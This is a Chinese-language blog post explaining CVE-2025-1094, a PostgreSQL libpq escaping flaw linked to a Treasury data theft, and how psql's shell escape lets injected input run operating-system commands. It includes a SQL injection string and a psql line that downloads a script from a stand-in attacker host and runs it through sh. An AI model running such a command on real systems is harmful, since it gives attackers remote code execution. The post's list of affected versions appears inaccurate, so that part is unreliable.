利用 PostgreSQL 漏洞美国财政部3核心文档被偷，怎么通过PG 攻击操作系统底层
liuaustin3约 4 分钟❝开头还是介绍一下群，如果感兴趣PolarDB ,MongoDB ,MySQL ,PostgreSQL ,Redis, OceanBase, Sql Server等有问题，有需求都可以加群加群请联系 liuaustin3 ，（共3400人左右 1 + 2 + 3 + 4 +5 + 6 + 7 + 8 ）(1 2 3 4 5 6 7 8群已经爆满 9群 为纯聊天群，默认不加入不得发广告，自己公众号文章链接等，发一次直接踢，默认加入8群，开10群PolarDB专业学习群115+)
使用PostgreSQL的美国财政部，是怎么被通过漏洞被黑客组织窃取了3000份机密数据，事情其实已经过去，但侵入的方式和数据库的部分，是我们普通用户需要关注的。
其实这就是一个核心的问题，SQL 注入几乎属于 Web 开发的必修课。开发人员把用户输入直接拼接到 SQL 中，攻击者通过构造特殊字符串，让原本的数据变成 SQL 语法，从而绕过登录、读取数据，甚至进一步扩大攻击范围。
随着更多的查询方式ORM,SQL转义函数的普及，不少人认为SQL注入已经不是一个安全的问题，而使用POSTGRESQL的美国财政部就在最近几年被攻击了。
而此次被攻击的方式在于PostgreSQL提供了开发数据库中常用的参数化查询，比如下面的
PREPARE find_user(text) AS
SELECT *
FROM users
WHERE username = $1;
EXECUTE find_user('某个用户名');
这里最大的一个问题是，SQL和数据分开了，在DBA或者数据库从业者的角度 $1 是用户的数据，他不是一个SQL，大部分数据库工作者和开发应用的人员，认为这样的额方式是一个非常好的防止SQL注入的模式。
而在使用了这样的方式进行防护后，还是被黑客攻破的主要原因是PostgreSQL客户端特别是PSQL命令和客户端的转义函数，被攻击者利用，这次攻击的方式主要是通过 libpq客户端转义库对于非法字符转义时，未能正确的中和单引号和特殊字符的问题，在通过漏洞后，非法的操作语句逃过了单引号的转义，从一个值，变成了一个可以执行的语句。
而此次最大的另一个问题，也就是受害者被泄露3000多条核心机密的关键在于，CVE-2025-1094漏洞的根源是作用在psql交互命令中的，因为psql支持操控 linux shell的命令，可以操控OS操作系统，这就给系统带来了更大的危害。
同时根据CVE-2025-1094 的官方描述明确限定了特定使用模式：需要应用程序使用 PQescapeLiteral()、PQescapeIdentifier()、PQescapeString() 或 PQescapeStringConn() 等函数处理输入，并将结果用于构造 psql 的输入。所以攻击是有一定的条件，并不是任何一个PG都可以使用这个漏洞进行攻击。
同时攻击者也很聪明，虽然已经做了防御，比如使用了 escaped 进行了攻击的拦截。
# 用户输入
user_input = "'; DROP TABLE users; --"
# escape 一下
escaped = pg_escape_string(user_input)
# 拼 SQL
sql = "SELECT * FROM users WHERE name = '" + escaped + "'"
但是我们想的是，它输入的是正确的UTF8编码，可要是他输入的不是标准的UTF8 ，被系统判定为错误的数据，而PG在接受到转义后错误的信息，被解释为按另一种编码方式执行，SQL就注入成功了。
攻击者构造特殊字节序列
↓
应用程序调用 pg_escape_string()
↓
转义函数"以为"已经安全了
↓
PostgreSQL 收到后，按另一种方式解释
↓
SQL 注入成功
我们举一个例子
\set var `curl http://attacker.com/shell.sh | sh`
精通PG的同学看完是不是后面发凉。所以黑客利用的并不是POSTGRESQL 而是讲PG的PSQL作为一个媒介，对系统进行了越界攻击。把数据库的小问题，升级成了操作系统的大漏洞。
收到此问题影响的版本为，PG17.3 16.7, 15.11 ,14.16 13.19 等于这些版本和低于这些版本的PG 均有可能被利用成为攻击者的一个帮凶。
从亚马逊 AGI 部门裁员看 AI 商业逻辑的必然转向 -- 资本不会给AGI 半点脸
比起简单的Skill技能，我更想建立Agent Skill的系统思维能力--- 感谢本书作者答疑解惑
MongoDB 全文索引 与 展示查询数据的一部分，提高性能
体现价值-我们靠PostgreSQL迁移PolarDB，给公司省下了100万 “巨款”
《告别迁移焦虑：OceanBase MySQL 模式能否兼容 DBA 的“祖传”运维 SQL？》
干数据库不是买白菜：光盯着License几毛钱，看不见300台机器的电费？
一个秘密，不是你 SQL 写对了，是优化器帮“擦了屁股” 客户问迁移后为什么快了--迁移到PolarDB后的故事
AI 引入后，MySQL 列权限控制，插入，更新，读取，删除 --有了AI 真是越帮越忙
PostgreSQL 大表改字段卡死的问题解决了吗？ 解决了方案在此